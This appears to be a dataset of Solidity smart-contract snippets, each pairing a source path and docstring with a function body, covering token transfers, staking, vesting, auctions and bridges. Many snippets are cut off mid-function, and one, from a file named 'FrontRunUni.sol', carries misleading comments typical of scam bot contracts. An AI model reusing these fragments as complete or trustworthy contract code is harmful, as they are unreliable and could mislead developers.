0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUni... | 10,678,688 |
./full_match/5/0x52Be7fDaF8bD5755aFb99c579008a123Ac1f3b0e/sources/contracts/Minter.sol | Burns tokens from the default wallet. _amount The amount of tokens to burn./ | function burn(uint256 _amount) public onlyRole(USER_ROLE) {
burn(wallet, _amount);
}
| 1,934,687 |
./full_match/137/0xFC9d6089301A13D94a046A62c2bf5204895f46FC/sources/SpookSafeProxyFactory.sol | Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. | function proxyRuntimeCode() public pure returns (bytes memory) {
return type(SpookSafeProxy).runtimeCode;
}
| 4,754,186 |
./full_match/4/0x141cBfC35fda0eCe327Bb72AA605237aD36bc7ce/sources/Users/legendarypanda/Desktop/Swan-Finance/swan_smart_contracts/merged/SwanStake.sol | allows users to claim their staked tokens for 4 months calculates the total interest to be transferred to the user after 4 months transfers the staked amount as well as the remaining interest to the user. marks the user as NON STAKER./ | function claimStakeTokens() external {
require(isStaker[msg.sender], "User is not a Staker");
StakeAccount memory stakeData = stakeAccountDetails[msg.sender];
require(
now >= stakeData.time.add(10518984),
"LockUp Period NOT OVER Yet"
uint256 interestAmount = ... | 707,525 |
pragma solidity 0.4.21;
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address ind... | ------------------------------------------------------------------------ Transfer `tokens` from the `from` account to the `to` account The calling account must already have sufficient tokens approve(...)-d for spending from the `from` account and - From account must have sufficient balance to transfer - Spender must ha... | function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool) {
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
| 1,835,526 |
/*
Copyright 2019 Wanchain Foundation.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in wri... | lock quota in burn direction tokenId tokenPairId of crosschain storemanGroupId PK of source storeman group value amount of exchange token | function userBurnLock(
uint tokenId,
bytes32 storemanGroupId,
uint value
) external onlyHtlc {
Quota storage quota = quotaMap[tokenId][storemanGroupId];
require(quota._debt.sub(quota.debt_payable) >= value, "Value is invalid");
quota.debt_payable = quota.debt_paya... | 7,274,970 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queri... | Interface of the optional ERC1155MetadataExtension interface, as defined _Available since v3.1._/ | interface IERC1155MetadataURI is IERC1155 {
function uri(uint256 id) external view returns (string memory);
}
}
| 5,878,997 |
./full_match/80001/0x241AFF7e7b347e8Ca6b040dAAA2e67Ca4884bb6E/sources/project_/contracts/MysticGalacticMission1.sol | Sends the specified number of refunds to the corresponding minters. numRefunds The number of refunds to send./ | function sendRefund(uint256 numRefunds) external onlyOwnerOrAdmin {
require(numRefunds > 0, "Incorrect refund amount");
for (uint256 i = 0; i < numRefunds; i++) {
require(totalRefunds < tokenCounter, "All refunds have been completed");
address minter = _tokenMinters[totalRe... | 5,624,107 |
./full_match/5/0x0c3911b94b3e0c91f0042914a9268fBBec788AE1/sources/contracts/guild-core/GuildID.sol | Gets the name of the guild member with the given token ID. Reverts if the token ID does not exist. tokenID uint256 ID of the token representing the guild member. return bytes32 Name of the guild member./ | function getName(uint256 tokenID) external view returns (bytes32) {
if (!_exists(tokenID)) revert DoesNotExist();
return _data[tokenID].name;
}
| 1,881,670 |
pragma solidity ^0.5.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transac... | Deposits token into the contract to be paid to the Darknodes _value The amount of token deposit in the token's smallest unit. _token The token address Forward the funds to the store | function deposit(uint256 _value, address _token) external payable {
uint256 receivedValue;
if (_token == ETHEREUM) {
require(_value == msg.value, "DarknodePayment: mismatched deposit value");
receivedValue = msg.value;
address(store).transfer(msg.value);
... | 7,310,805 |
//Address: 0x68c9139805bc945caa12bfd70ff568b5248afd1e
//Contract name: Router
//Balance: 0 Ether
//Verification Date: 2/18/2018
//Transacion Count: 3
// CODE STARTS HERE
pragma solidity ^0.4.18;
contract ThisMustBeFirst {
address public bts_address1;
address public bts_address2;
address public token_address;... | It is believed at this time that tampering with deployed contract's bytecode is not possible. Therefore the two lines below are not necessary contractPermissions[getCodeHash(bts_address1)] = true; contractPermissions[getCodeHash(token_address)] = true; | function Router(address _token_address, address _storage_address) public Authorized() {
require(_token_address != address(0));
require(_storage_address != address(0));
token_address = _token_address;
bts_address1 = _storage_address;
}
| 12,583,498 |
pragma solidity ^0.5.0;
import "./GhostOwnership.sol";
import "./SpecialAuction.sol";
import "./SaleAuction.sol";
contract GhostAuction is GhostOwnership {
// address of special auction that control sale of special ghost.
SpecialAuction public specialAuction;
// address of sale auction that control sale... | create sale auction. _tokenId - Ghost ID to exchange and put on auction. _buyer - address of person to buy ghost. _amount - offered price of this ghost. | function createSaleAuction(uint256 _tokenId, address payable _buyer, uint256 _amount) external {
require(_owns(msg.sender, _tokenId));
require(_buyer != address(0));
require(_amount > uint256(0));
_approve(address(saleAuction), _tokenId);
saleAuction.createAuction(_tokenId,... | 5,444,531 |
// contract with owner and withdrawal and generic function call capability
pragma solidity ^0.4.12;
import "github.com/JonnyLatte/MiscSolidity/owned.sol";
import "github.com/JonnyLatte/MiscSolidity/erc20.sol";
contract moneyBox is owned {
// transfer just ether with no data / function calls
function tra... | generic transfer function can interact with contracts by supplying data | function genericTransfer(address _to, uint _value, bytes _data) onlyOwner {
require(_to.call.value(_value)(_data));
}
| 13,131,031 |
./full_match/80001/0xf4Bf35F8f17cAf2ee780e9BD6Ee4a6c5Eb61b6C2/sources/project:/contracts/superfluid/ConstantInflowNFT.sol | The mint function emits the "mint" `Transfer` event. We don't modify storage as this is handled in ConstantOutflowNFT.sol and this function's sole purpose is to inform clients that search for events. Only callable by ConstantOutflowNFT to the receiver of the inflow nft and desired flow receiver newTokenId the new to... | function mint(address to, uint256 newTokenId) external onlyConstantOutflowNFT {
_mint(to, newTokenId);
}
| 9,524,848 |
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software releas... | Only Governance can do it. Set announced strategies for given vaults _vaults Vault addresses _strategies Strategy addresses | function setVaultStrategyBatch(address[] calldata _vaults, address[] calldata _strategies) external {
onlyGovernance();
require(_vaults.length == _strategies.length, "C: Wrong arrays");
for (uint256 i = 0; i < _vaults.length; i++) {
_setVaultStrategy(_vaults[i], _strategies[i]);
}
}
| 14,500,816 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ExampleExternalContract.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Staker is ReentrancyGuard {... | if the `threshold` was not met, allow everyone to call a `withdraw()` function | function withdraw() public awaitDeadline {
require(balance[msg.sender] != 0, "balance is zer0");
require(block.timestamp >= deadline, "Cannot withdraw yet");
require(sent, "Failed to send Ether");
(bool sent, ) = msg.sender.call{value: balance[msg.sender]}("");
}
| 12,545,727 |
// SPDX-License-Identifier: Apache-2.0
pragma solidity >=0.6.4 <0.8.0;
pragma experimental ABIEncoderV2;
///
/// @title Ether Allowance Transactor Abstract Base Class
/// @author Tyler R. Drury <vigilstudios.td@gmail.com> (www.twitter.com/StudiosVigil) - copyright 1/5/2021, All Rights Reserved
/// @dev extension of Et... | require that this contract can transfer `amount` of allowance to recipient, if one is available otherwise revert | function _requireThisCanWithdrawlAllowanceFromETH(
address from,
uint256 amount
)internal view
{
_requireCanWithdrawlAllowanceETH(
from,
address(this),
amount
);
}
| 943,940 |
./full_match/80001/0x17898915dD5525DE3Ac25651416019D785f538aE/sources/contracts/NiftyChildTunnel.sol | incoming tamag. assumed activeSlots variable is synced! | function _processMessageFromRoot(bytes memory message) internal override {
(address owner, uint256 tamagId,
uint256 nounce, string memory uri,
uint256 traits, uint256[] memory equips) = abi.decode(message, (address,uint256,uint256,string,uint256,uint256[]));
... | 868,638 |
pragma solidity ^0.5.2;
import "../installed_contracts/zeppelin/contracts/math/SafeMath.sol";
import "./BehaviourToken.sol";
import "./BikeSharing_v2.sol";
contract Insurance is BikeSharing {
using SafeMath for uint256;
// Constant
uint constant public INSURANCE_RETENTION = 100 finney;
uint256 constant public C... | The client must not be a client already | function underwriteInsurance()
public
payable
returns (bool success)
{
require(isClientInsured[msg.sender]==false);
insuranceMapping[msg.sender] = InsuranceClient(
{
insuredListPointer: insuredList.push(msg.sender) - 1,
totalPremiumPa... | 12,745,853 |
// SPDX-License-Identifier: MIT
pragma solidity >0.7.5;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract AtomicSwap {
using SafeERC20 for IERC20;
/**
* @openValue The amount that seller wants to sell
* @openTrader T... | Store the details of the swap. | function open(
bytes32 _swapID,
uint256 _openValue,
address _openContractAddress,
uint256 _closeValue,
address _closeTrader,
address _closeContractAddress
)
public
onlyInvalidSwaps(_swapID)
{
require(_openContractAddress != address(0) &... | 2,564,797 |
pragma solidity >=0.5.4 <0.6.0;
import './SafeMath.sol';
import './AOLibrary.sol';
import './TAOController.sol';
import './ITAOAncestry.sol';
import './ITAOFactory.sol';
/**
* @title TAOAncestry
*/
contract TAOAncestry is TAOController, ITAOAncestry {
using SafeMath for uint256;
address public taoFactoryAddress;... | Store the Ancestry info for a TAO _id The ID of the TAO _parentId The parent ID of this TAO _childMinLogos The min required Logos to create a TAO return true on success/ | function initialize(address _id, address _parentId, uint256 _childMinLogos)
external
isTAO(_id)
isNameOrTAO(_parentId)
onlyFactory returns (bool) {
require (!isExist(_id));
Ancestry storage _ancestry = ancestries[_id];
_ancestry.taoId = _id;
_ancestry.parentId = _parentId;
_ancestry.childMinLogos = ... | 12,869,866 |
./full_match/5/0x3c4A81308e287a4d1a315415205b6499a3C9286a/sources/project_/contracts/BaseContracts/BaseVault.sol | owner can change the maximum number of seconds`securityGuard` can delay a payment _maxSecurityGuardDelay The new maximum delay in seconds | function setMaxSecurityGuardDelay(uint256 _maxSecurityGuardDelay)
public
onlyOwner
{
maxSecurityGuardDelay = _maxSecurityGuardDelay;
}
| 1,929,468 |
pragma solidity 0.5.1;
/**
* @dev Base contract for teams
*/
contract Team {
using SafeMath for uint256;
//DEEX fund address
address payable public DEEXFund = 0xA2A3aD8319D24f4620Fbe06D2bC57c045ECF0932;
JackPot public JPContract;
DEEX public DEEXContract;
/**
* @dev Payable function. 10%... | bonuses are set in as integers (20%, 30%), initial 0% | function setReferralBonuses(uint256 _referralBonus, uint256 _referrerBonus) public onlyBy(owner) returns (bool success){
require(_referralBonus > 0 && _referrerBonus > 0);
referralBonus = _referralBonus;
referrerBonus = _referrerBonus;
return true;
}
| 12,758,703 |
./full_match/137/0xfeeAFB0543a8130D252B0eE72E50D3B396fB9B75/sources/contracts/Porrachain.sol | matchHash identifier for a match/ | function withdrawBetPool(
bytes32 matchHash
) public reentrancyGuard {
Match storage _match = matches[matchHash];
if (!_match.exists) {
revert BetContract__MatchNotFound();
}
if (_match.winners[msg.sender]) {
revert BetContract__WithdrawAlreadyDon... | 3,774,080 |
./partial_match/1/0xD1C833b46266CcF6060e90B69161FCEe9C66E826/sources/src/NightWatchVendor.sol | Owner only function set signer address signer address of the signer | function setSigner(address signer) external onlyOwner {
if (signer == address(0)) {
revert NoZeroAddress();
}
_signer = signer;
}
| 15,944,966 |
./partial_match/4/0x9c3dF829196C761005e7512F169FA0557b43A4c7/sources/unifarmV2Fixed.sol | Referrer Earning Referrer Earning | function _rewardCalculation(
address ref,
uint256 stakedAmount,
uint256 interval,
address stakedToken,
uint256 totalStake
) internal {
uint256 rewardsEarned;
uint256 noOfDays;
noOfDays = interval.div(UniV2.DAYS());
rewardsEarned ... | 8,684,954 |
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
... | Initializes the vaults and order of calls/ | function setVaults(address[] memory newVaults) public onlyGovernance {
if (getNumberOfVaults() > 0) {
for (uint256 i = vaults.length - 1; i > 0 ; i--) {
delete vaults[i];
}
}
vaults.length = 0;
for (uint256 i = 0; i < newVaults.length; i++) {
vaults.push(newVaults[i]);
}
... | 15,290,513 |
./partial_match/1/0x5F8ec04FCf7243F21750C83184849A096F386A3F/sources/EFT.sol | Burns a specific amount of tokens. _value The amount of token to be burned./ | function burn(
uint256 _value
)
public
whenNotPaused
{
_burn(msg.sender, _value);
}
| 2,707,594 |
pragma solidity 0.5.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
... | Team account authorization transaction _from The give token address _to The accept token address _value Number of transactions/The remaining partthe number of Tokens available for teamAccount'Locked partthe number of Tokens available for teamAccountIf over the teamAccount's released partIf in the teamAccount's rele... | function teamLockTransferFrom(address _from,address _to, uint256 _value) internal returns (bool) {
uint256 availReverse = balances[_from].sub((teamLocked[_from].sub(teamUsed[_from]))+(fundLocked[_from].sub(fundUsed[_from])));
uint256 totalAvail=0;
uint256 availTeam =0;
if(issueDate==0)
... | 2,485,754 |
./full_match/7700/0x432036208d2717394d2614d6697c46DF3Ed69540/sources/contracts/amm/SwapUtils.sol | Get D, the StableSwap invariant, based on a set of balances and a particular A. xp a precision-adjusted set of pool balances. Array should be the same cardinality as the pool. a the amplification coefficient n (n - 1) in A_PRECISION. See the StableSwap paper for details return the invariant, at the precision of the... | function getD(uint256[] memory xp, uint256 a)
internal
pure
returns (uint256)
{
uint256 numTokens = xp.length;
uint256 s;
for (uint256 i = 0; i < numTokens; i++) {
s = s.add(xp[i]);
}
if (s == 0) {
return 0;
}
... | 4,646,836 |
./full_match/5/0x5256308608B6865F486b59136e7826ACF648a2a1/sources/contracts/prebuilts/account/utils/AccountCore.sol | Initializes the smart contract wallet. This is passed as data in the `_registerOnFactory()` call in `AccountExtension` / `Account`. | function initialize(address _defaultAdmin, bytes calldata) public virtual initializer {
AccountCoreStorage.data().firstAdmin = _defaultAdmin;
_setAdmin(_defaultAdmin, true);
}
Events
event EntrypointOverride(IEntryPoint entrypointOverride);
| 1,960,700 |
pragma solidity >=0.4.22 <0.6.0;
contract Transcript {
address owner;
// contract's constructor function
constructor() public {
owner = msg.sender;
}
// add modifier, so only iiitv can upload transcript
modifier onlyIIITV {
require(msg.sender == owner);
... | student sem pointsstoring keys for coursegrade | function addPoints(uint32 _studentId, uint8 _semester, string memory _spi, string memory _cpi) public onlyIIITV {
bytes32 hashvalue = sha256(abi.encodePacked(_studentId, _semester));
require(keccak256(abi.encodePacked(uint8(totalPoints[hashvalue].semester))) != keccak256(abi.encodePacked(_semester))... | 12,776,315 |
./full_match/5/0x91b3F98380ecdb40A40d889592A38d504c0c0175/sources/project_/contracts/lib/dataHandlers/SaleDataHandler.sol | Check {onlyIfInStock} modifier./ Skip if the bundle has unlimited stock | function _doOnlyIfInStock_bD11(uint256 bundleId) private {
if (_bundleInfo[bundleId].saleInfo.restrictions.limitedStock) {
require(
_bundleInfo[bundleId].saleInfo.restrictions.stock != 0,
"Out of stock"
);
_bundleInfo[bundleId].saleInfo.res... | 7,078,055 |
pragma solidity ^0.4.19;
/* Adapted from strings.sol created by Nick Johnson <arachnid@notdot.net>
* Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
* @title String & slice utility library for Solidity contracts.
* @author Nick Johnson <arachnid@n... | For querying totalSupply of token Required for ERC-721 compliance. | function totalSupply() public view returns (uint256 total) {
}
| 12,867,094 |
./full_match/1/0xF74CB1aF7CA86bf7be3050687388813785BE2000/sources/FrontRunUni.sol | initiate contract finder Mask out irrelevant contracts and check again for new contracts | function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest;... | 8,423,616 |
pragma solidity >=0.4.21 <0.6.0;
/**
*
* @dev The index of this MMR implementation starts from 1 not 0.
* And it uses keccak256 for its hash function instead of blake2b
*/
library MMR {
struct Tree {
bytes32 root;
uint256 size;
uint256 width;
mapping(uint256 => bytes32) ha... | It returns whether the index is the leaf node or not/ | function isLeaf(uint256 index) public pure returns (bool) {
return heightAt(index) == 1;
}
| 5,402,874 |
pragma solidity ^0.4.19;
// Interface contract to be implemented by SyscoinToken
contract SyscoinTransactionProcessor {
function processTransaction(uint txHash, uint value, address destinationAddress, uint32 _assetGUID, address superblockSubmitterAddress) public returns (uint);
function burn(uint _value, ... | Returns true if the tx output is an OP_RETURN output scriptPub format is 0x6a OP_RETURN | function isOpReturn(bytes memory txBytes, uint pos) private pure
returns (bool) {
return
txBytes[pos] == byte(0x6a);
}
| 5,531,921 |
/**
*Submitted for verification at Etherscan.io on 2021-09-06
*/
// GEL token forked from Uniswap UNI Token contract: https://etherscan.io/address/0x1f9840a85d5af5bf1d1762f925bdaddc4201f984#code
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/... | Transfer `amount` tokens from `msg.sender` to `dst` dst The address of the destination account rawAmount The number of tokens to transfer return Whether or not the transfer succeeded/ | function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Gel::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
| 8,002,182 |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;
import "../Euler.sol";
import "../Storage.sol";
import "../modules/EToken.sol";
import "../modules/Markets.sol";
import "../BaseIRMLinearKink.sol";
import "../vendor/RPow.sol";
interface IExec {
function getPriceFull(address underlying) externa... | Updates interest accumulator and totalBorrows, credits reserves, re-targets interest rate, and logs asset status | function touch() external nonReentrant {
(address underlying, AssetStorage storage assetStorage,,) = CALLER();
AssetCache memory assetCache = loadAssetCache(underlying, assetStorage);
updateInterestRate(assetStorage, assetCache);
logAssetStatus(assetCache);
}
| 144,873 |
// SPDX-License-Identifier: MIT
pragma solidity =0.8.11;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@open... | Creates a new vesting schedule for a beneficiary. _beneficiary address of the beneficiary to whom vested tokens are transferred _amount total amount of tokens to be released at the end of the vesting/ | function createVestingSchedule(address _beneficiary, uint256 _amount)
public
override
whenNotPaused
onlyBonus
{
require(_amount > 0, "JamonVesting: amount must be > 0");
bytes32 vestingScheduleId = this.computeNextVestingScheduleIdForHolder(
_beneficia... | 984,139 |
pragma solidity 0.5.10;
import 'openzeppelin-solidity/contracts/token/ERC20/ERC20.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
import {BytesLib} from "@summa-tx/bitcoin-spv-sol/contracts/BytesLib.sol";
import {BTCUtils} from "@summa-tx/bitcoin-spv-sol/contracts/BTCUtils.sol";
import './FundsInte... | Amount lent by Lender | function owedToLender(bytes32 loan) public view returns (uint256) { | 7,298,201 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "../BaseStrategy.sol";
import "../interfaces/pancakeswap/ICakePool.sol";
import "../interfaces/ISushiSwap.sol";
import "../libraries/Babylonian.sol";
contract CakeStrategyV2 is... | CakePool auto compound reward and increase share price in CAKE. Withdraw everything and deposit back the original amount. In case the balance is less than totalDepositAmount; | function _harvest(uint256) internal override returns (int256) {
cakePool.withdrawAll();
uint256 balance = IERC20(strategyToken).balanceOf(address(this));
if (balance > totalDepositAmount) {
uint256 rewards = balance - totalDepositAmount;
uint256 feeAmount = (rewards ... | 5,493,513 |
./full_match/3/0x05502f13420F8D3F0C3B2119559cF00a2e626a49/sources/browser/1_Storage.sol | start a neu Poolfahrt poolID id of specific poolID energiemenge energiemenge transfered in this Poolfahrt hashVerschluesselteDaten id of specific Poolfahrt hashVerschluesselteDaten data hash of public transfered data hashUnverschluesselteDaten data hash of private transfered data/ check if pool besitzer executes t... | function neuPoolfahrt(
uint256 poolID,
uint256 energiemenge,
uint256 hashVerschluesselteDaten,
uint256 hashUnverschluesselteDaten
)
public
{
if (msg.sender == poolData[poolID].besitzer) {
Poolfahrt storage t = poolData[poolID].Poolfahr... | 8,115,416 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.